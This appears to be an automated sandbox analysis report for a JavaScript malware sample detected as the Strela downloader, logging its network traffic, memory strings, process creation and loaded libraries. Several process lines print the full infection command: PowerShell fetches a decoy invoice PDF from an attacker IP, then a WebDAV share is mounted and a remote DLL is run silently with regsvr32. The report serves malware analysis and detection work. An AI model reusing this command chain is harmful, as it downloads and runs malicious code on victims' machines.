Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1680188333.000001AE92A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1769514057.0000023FCB861000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769514057.0000023FCB808000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: net.exe, 00000006.00000002.1769514057.0000023FCB808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tems
Source: svchost.exe, 00000008.00000002.2977879499.000002913A600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1740571802.000002913A488000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1740571802.000002913A488000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1740571802.000002913A488000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1740571802.000002913A4BD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1740571802.000002913A532000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1740571802.000002913A532000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1740571802.000002913A532000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3652, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2295888241314542.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3696:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gccz5fld.vuf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2295888241314542.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,11078278986070257110,17438414062672174970,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,11078278986070257110,17438414062672174970,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
